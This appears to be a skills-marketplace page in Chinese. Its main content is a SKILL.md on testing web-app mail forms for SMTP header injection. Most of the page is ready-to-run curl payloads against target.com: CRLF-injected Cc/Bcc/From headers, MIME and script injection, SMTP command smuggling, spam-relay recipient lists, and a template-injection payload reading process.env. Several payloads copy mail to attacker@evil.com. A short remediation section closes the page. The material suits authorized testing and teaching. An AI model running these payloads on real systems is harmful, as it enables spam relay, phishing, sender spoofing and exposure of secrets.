用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill testing-for-email-header-injection命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型,检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于:当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具(iodine、dnscat2、DNSExfiltrator)的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型,通过 IAP、Access Context Manager 和 Chrome Enterprise Premium,消除网络边界的隐式信任,强制执行基于身份的访问控制,实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
基于 SOC 职业分类
正在显示 SKILL.md
| name | testing-for-email-header-injection |
| description | 测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["email-injection","smtp-injection","crlf-injection","header-injection","spam-relay","contact-form","email-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
# 识别会出现在邮件头部的表单字段:
# - "发件人"姓名或邮箱地址字段
# - 分享功能中的"收件人"或"抄送"字段
# - 主题行输入
# - 回复地址字段
# 常见端点:
# POST /contact — 联系表单
# POST /share — 邮件分享功能
# POST /invite — 邀请系统
# POST /api/send-email — 邮件 API 端点
# POST /forgot-password — 密码重置表单
# 先测试基本功能
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello&message=Test message"
# 通过邮箱字段中的 CRLF 注入额外邮件头部
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"
# 注入 BCC 头部
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"
# 通过 name 字段注入
curl -X POST http://target.com/contact \
-d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"
# 通过 subject 字段注入
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"
# 尝试不同的 CRLF 编码变体
# %0D%0A(CRLF)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0D%0ACc:attacker@evil.com"
# %0A(仅 LF)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ACc:attacker@evil.com"
# %0D(仅 CR)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0DCc:attacker@evil.com"
# 双重编码
curl -X POST http://target.com/contact \
-d "email=test@test.com%250ACc:attacker@evil.com"
# 通过注入 Content-Type 和正文覆盖邮件内容
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
# 注入额外的 MIME 部分
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
# 覆盖 From 头部实施邮件伪造
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AFrom:ceo@target.com"
# 注入 Reply-To 用于网络钓鱼
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AReply-To:attacker@evil.com"
# 通过邮箱字段注入 IMAP 命令
curl -X POST http://target.com/webmail/search \
-d "query=test%0AEXAMINE INBOX"
# SMTP 命令注入
curl -X POST http://target.com/api/send \
-d "to=test@test.com%0ARCPT TO:attacker@evil.com"
# SMTP VRFY 命令注入
curl -X POST http://target.com/api/verify \
-d "email=test@test.com%0AVRFY admin"
# 测试 SMTP 中继滥用
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"
# JSON API 头部注入
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'
# 数组注入实现多收件人
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'
# 邮件正文中的模板注入
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
# 检查注入的 CC/BCC 邮件是否已收到
# 监控 attacker@evil.com 收件箱中的副本
# 通过邮件原始来源验证头部注入
# 在收到的邮件中,查看"查看原始邮件"或"显示邮件头"
# 寻找注入的 Cc:、Bcc:、From: 或 Reply-To: 头部
# 测试应用是否可被用作垃圾邮件中继
# 方法是在 BCC 中注入多个收件人
# 记录完整的注入链
# 1. 注入点(哪个字段)
# 2. 所需编码(CRLF、URL 编码)
# 3. 影响(垃圾邮件中继、网络钓鱼、数据窃取)
| 概念 | 定义 |
|---|---|
| CRLF 注入(CRLF Injection) | 注入回车和换行字符以创建新的邮件头部 |
| 头部注入(Header Injection) | 向外发邮件添加未授权头部(Cc、Bcc、From) |
| 垃圾邮件中继(Spam Relay) | 滥用邮件功能向任意收件人发送垃圾邮件 |
| 邮件伪造(Email Spoofing) | 修改 From 或 Reply-To 头部以冒充可信发件人 |
| MIME 操控(MIME Manipulation) | 注入 MIME 边界以覆盖邮件正文内容 |
| SMTP 命令注入(SMTP Command Injection) | 通过未经过滤的邮件参数注入原始 SMTP 命令 |
| 换行字符(Newline Characters) | \r\n(CRLF)、\n(LF)、\r(CR),用于分隔邮件头部 |
| 工具 | 用途 |
|---|---|
| Burp Suite | 修改与邮件相关的表单提交的 HTTP 代理 |
| swaks | SMTP 测试和头部注入验证的瑞士军刀工具 |
| OWASP ZAP | 具有邮件注入检测功能的自动化扫描器 |
| mailhog | 用于捕获注入邮件的本地 SMTP 测试服务器 |
| smtp4dev | 用于监控邮件注入结果的开发 SMTP 服务器 |
| Nuclei | 具有邮件头部注入检测模板的扫描器 |
## 邮件头部注入报告
- **目标**:http://target.com/contact
- **注入点**:联系表单中的 email 字段
- **所需编码**:URL 编码 LF(%0A)
### 发现
| # | 字段 | 载荷 | 结果 | 严重性 |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC 头部已注入 | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC 头部已注入 | High |
| 3 | name | Test%0AFrom:ceo@target.com | From 伪造 | Medium |
### 修复建议
- 使用严格的正则表达式验证邮箱地址,拒绝包含换行符的输入
- 从所有与邮件相关的输入中剥离 \r、\n 及其编码变体
- 使用参数化邮件 API,将头部与数据分离
- 对邮件发送功能实施速率限制